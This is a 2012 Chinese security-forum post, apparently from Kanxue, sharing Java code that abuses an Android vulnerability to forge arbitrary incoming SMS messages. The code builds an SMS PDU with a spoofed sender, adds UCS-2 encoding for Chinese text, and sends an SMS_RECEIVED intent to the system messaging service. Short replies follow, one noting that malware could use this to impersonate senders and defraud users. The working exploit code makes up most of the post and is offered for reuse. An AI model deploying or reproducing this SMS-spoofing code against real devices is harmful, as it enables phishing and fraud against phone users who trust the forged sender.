首页
社区
课程
招聘
[分享]Android本地生成PDU伪造任意短信代码(支持中文GSM_UCS2)
2012-11-14 23:41 21148

[分享]Android本地生成PDU伪造任意短信代码(支持中文GSM_UCS2)

2012-11-14 23:41
21148
原理版主已经发过了,【分享】关于近期Android系统的任意构造短信漏洞
最近正好对这个漏洞比较感兴趣,从github上下了份代码一折腾,结果发中文短信时core了...

看了下原因,因为stackoverflow上那段createFakeSms()的TP_DCS是硬编码的0x00,并且没处理中文字符集的异常,最后导致发送的PDU是0字节
今天查了关于PDU编码的资料,照gsm/SmsMessage.java里增加了对GSM_UCS2的编码:

    private static void createFakeSms2(Context context, String sender, String body) {
    //Source: http://stackoverflow.com/a/12338541
    //Source: http://blog.dev001.net/post/14085892020/android-generate-incoming-sms-from-within-your-app
        byte[] pdu = null;
        byte[] scBytes = PhoneNumberUtils
                .networkPortionToCalledPartyBCD("0000000000");
        byte[] senderBytes = PhoneNumberUtils
                .networkPortionToCalledPartyBCD(sender);
        int lsmcs = scBytes.length;
        byte[] dateBytes = new byte[7];
        Calendar calendar = new GregorianCalendar();
        dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));
        dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
        dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));
        dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));
        dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE)));
        dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND)));
        dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar
                .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));
        try {
            ByteArrayOutputStream bo = new ByteArrayOutputStream();
            bo.write(lsmcs);
            bo.write(scBytes);
            bo.write(0x04);
            bo.write((byte) sender.length());
            bo.write(senderBytes);
            bo.write(0x00);
            try {
                String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";
                Class cReflectedNFCExtras = Class.forName(sReflectedClassName);
                Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(
                        "stringToGsm7BitPacked", new Class[] { String.class });
                stringToGsm7BitPacked.setAccessible(true);
                byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null, body);
                
                bo.write(0x00); // encoding: 0 for default 7bit
                bo.write(dateBytes);
                bo.write(bodybytes);
            } catch (Exception e) {
              try {
                // try UCS-2
                byte[] bodybytes = encodeUCS2(body, null);
                
                  bo.write(0x08); // encoding: 0x08 (GSM_UCS2) for UCS-2
                  bo.write(dateBytes);
                bo.write(bodybytes);
              } catch(UnsupportedEncodingException uex) {
                Log.e("_DEBUG_", String.format("String '%s' encode unknow", body));
              }
            }

            Log.d("_DEBUG_", String.format("PDU: ", bytesToHexString(bo.toByteArray())));
            
            pdu = bo.toByteArray();
        } catch (IOException e) {
        }
        
        Intent intent = new Intent();
        intent.setClassName("com.android.mms",
                "com.android.mms.transaction.SmsReceiverService");
        intent.setAction("android.provider.Telephony.SMS_RECEIVED");
        intent.putExtra("pdus", new Object[] { pdu });
        intent.putExtra("format", "3gpp");
        context.startService(intent);
    }


运行截图,Nexus S上发送带中文的PDU正常


ps: 坑爹的SDK国内完全下不动,最近各种真是伤不起

阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

上传的附件:
收藏
点赞3
打赏
分享
最新回复 (9)
雪    币: 146
活跃值: (1215)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
曹无咎 1 2012-11-15 09:37
2
0
god job!
雪    币: 72
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bdw 2012-11-15 10:19
3
0
弱弱的问一句,这个漏洞是不是,就是一个不应该public的函数被设置为public了?
雪    币: 3019
活跃值: (1159)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
zhouws 2 2012-11-15 15:37
4
0
最近几天我也是上班就打开android的SDK Manager.exe来下载SDK、SOURCE,尼玛的,伤不起啊,不过这2天算是装下来了
雪    币: 85485
活跃值: (198795)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
linhanshi 2012-11-15 17:00
5
0
Thanks for share.
上传的附件:
雪    币: 219
活跃值: (738)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
viphack 4 2012-11-15 19:19
6
0
Thanks
雪    币: 200
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
赤色战狼 2012-11-15 19:34
7
0
Thanks
高人。
雪    币: 55
活跃值: (519)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
hrpirip 1 2012-11-15 20:20
8
0
这发给自己的有什么用...
雪    币: 217
活跃值: (25)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
vienna 2012-11-15 22:59
9
0
那天晚上想到ddms可以发送电话短信。。那如果root了。。就都能模仿了。。。第二天,不用root就能搞的新闻出来了
雪    币: 217
活跃值: (25)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
vienna 2012-11-15 23:02
10
0
恶意软件可以伪装行骗
游客
登录 | 注册 方可回帖
返回